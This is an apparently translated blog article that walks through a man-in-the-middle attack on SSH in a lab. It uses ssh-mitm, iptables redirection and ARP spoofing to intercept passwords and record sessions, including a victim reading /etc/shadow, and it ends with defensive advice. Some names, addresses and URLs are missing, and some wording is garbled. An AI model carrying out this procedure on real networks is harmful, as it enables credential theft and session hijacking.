Find Out How Well Are Your SSH Sessions Is Protected

Find Out How Well Are Your SSH Sessions Is Protected Main One

Find Out How Well Are Your SSH Sessions Is Protected

Performing daily tasks of the system administrator are considered safe when working through the SSH session. This article will discuss modern tools for conducting MITM attacks on the SSH protocol and how to protect against them.



There is a tool that appeared long enough and is called ssh MITM. It is included in the distribution kit for the Kali Linux pentest, but it supports only the first version of the SSH protocol, which imposes serious limitations in modern infrastructure.

Find Out How Well Are Your SSH Sessions Is Protected (1)


There is another tool, which, in particular, allows you to conduct a MITM-attack on the SSH protocol – MITM proxy (not to be confused with another MITM proxy). It can be downloaded from GitHub. This tool allows you to work with authentication by the key, but it never really worked for me. The tool is not supported for 4 years and does not work out of the box. First, you need to fix some errors in the source code.

  • After correcting errors, the tool allows you to conduct a MITM attack using password authentication.

Find Out How Well Are Your SSH Sessions Is Protected (2)


It would be strange not to mention the tool Intercepter-ng, which allows, among other things, to conduct a classic MitM-attack on the SSH protocol.

Find Out How Well Are Your SSH Sessions Is Protected (3)


And more recently, there was another tool – ssh-mitm


It is an OpenSSH v7.5p1 with a patch that allows you to work as a proxy between the SSH client and the original SSH server. We will discuss it in more detail.


1) Download the distribution in GitHub and run the installation script

[sourcecode language=”plain”]
git clone
cd ssh-mitm

2) The script will install all the dependencies, download sources OpenSSH-7.5p1, patch them, configure and compile. As a result, you will see a message:

[sourcecode language=”plain”]
Done! The next step is to use to find target IPs, then execute and ARP spoof.

A directory  /home/ssh-mitm will also be created.

Implementing an Attack

In order to conduct a MITM-attack on the SSH protocol, we first need to redirect the victim’s traffic to our machine, instead of the original SSH server. After installing ssh-MITM, we can use the script included in the package to find ssh sessions on the network.

The script is located in the directory where you crooked the git repository and does the following:

  1. Arp-spoofing the block of IP-addresses (the block size is set by the parameter, by default it is 5)
  2. Waits for a few seconds (the timeout is specified by the parameter, the default is 20 seconds)
  3. Displays SSH sessions in the console
  4. Moves to the next block

For arp-spoofing-a, ottercap is used, and for sniffing network packets shark.
Both tools are included in the Kali Linux distribution by default.

  • When starting the script, you can get the message “The Python3 netaddr and/or netifaces module is not installed”.

Correcting by executing the following command:

[sourcecode language=”plain”]
apt install python3-netaddr python3-netifaces

Example of running the script:

[sourcecode language=”plain”]
./ –interface eth0 –listen-time 5

Example output:

[sourcecode language=”plain”]
Local servers:
* ->

Once the targets are defined, you need to run another script,, which is also in the git directory.

It actually starts the sshd_mitm service, sets the ip_forward system parameter to 1, thereby allowing transit packets and creates IP tables rule that redirects all packets to a fake SSH server.

[sourcecode language=”plain”]
root@kalix64:~/mitm_and_spoof/ssh-mitm# iptables -t nat -L
target prot opt source destination
REDIRECT tcp — anywhere anywhere tcp dpt:ssh redir ports 2222

root@kalix64:~/mitm_and_spoof/ssh-mitm# netstat -tlpan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0* LISTEN 13241/sshd_mitm

The script does not launch the arp-spoofing attack. You need to do this yourself, for example, using arpspoof or ettercap.

[sourcecode language=”plain”]
arpspoof -i eth0 -t -r

To obtain victim credentials, it is convenient to view the auth.log file with a tail.

[sourcecode language=”plain”]
tail -f /var/log/auth.log

When the victim ( tries to connect to the original SSH server (, she will certainly see a message about changing the server’s public key

[sourcecode language=”plain”]
ubuntu@gns3_1:~$ ssh ubuntu@
The authenticity of host ‘ (’ can’t be established.
ED25519 key fingerprint is SHA256:kn+iT7WwgO6Wlh0xN4KQXB8P/JaHLcRx04gYTvNdjCM.
Are you sure you want to continue connecting (yes/no)?

In 99% of cases, administrators answer the similar question “yes”.

Then the victim enters the login and password, and in the log auth.log on the attacker’s machine there is a record

[sourcecode language=”plain”]
Aug 29 16:55:08 kalix64 sshd_mitm[13426]: INTERCEPTED PASSWORD: hostname: []; username: [ubuntu]; password: [qwerty123] [preauth]
Aug 29 16:55:08 kalix64 sshd_mitm[13426]: Accepted password for ssh-mitm from port 37838 ssh2

And we see the file session_0.txt with the recorded session in /home/ssh-mitm:

[sourcecode language=”plain”]
Last login: Tue Aug 29 16:46:03 2017 from ns.secret.lab
ESC]0;ubuntu@ubuntu: ~^Gubuntu@ubuntu:~$ ccdd //eettcc
ESC]0;ubuntu@ubuntu: /etc^Gubuntu@ubuntu:/etc$ ccaatt //eettcc//sshhaadd ^Gow^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?^H^?
^H^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^G^?^Gssuuddoo ssuu —
[sudo] password for ubuntu: qwerty123
ESC]0;root@ubuntu: ~^Groot@ubuntu:~# ccdd //eettcc//^?^HESC[K
ESC]0;root@ubuntu: /etc^Groot@ubuntu:/etc# ccaatt sshhaadd ^Gow ^G
shadow shadow-
ESC]0;root@ubuntu: /etc^Groot@ubuntu:/etc# cat shadow

As you can see some of the data is backed up. This is due to the fact that both user input and output are recorded. The sudo program, for example, temporarily disables “echo” and the password qwerty123 is displayed “normal”

ssh-mitm, in my opinion, represents a recorded session in a more convenient form than MITM proxy

Find Out How Well Are Your SSH Sessions Is Protected (4)
On the screenshot above I tried to enter the console

[sourcecode language=”plain”]
cat /etc

If the target server does not allow password authentication, but only by the key, ssh-mitm will still offer password authentication and will simply break the connection after entering credentials, since the original server credentials will not accept. But the attacker will get some kind of password and will be able to use it in the future since the administrator is unlikely to enter anything that does not exist.

How to protect yourself from this type of attack

Strangely enough, but to protect against such attacks, nothing added to the system is required. All you need is to disable password authentication by the directive and use authentication by key.

[sourcecode language=”plain”]
PasswordAuthentication no

  • This will protect the service from attacking the enumeration of credentials, i.e. Bruteforce.

Also, do not take indiscriminately the modified server imprint. By itself, it usually does not change, and if you yourself are responsible for the server you are connecting to and know that nothing has been reinstalled there, it’s worth checking once again if the MitM-attack is currently being carried out.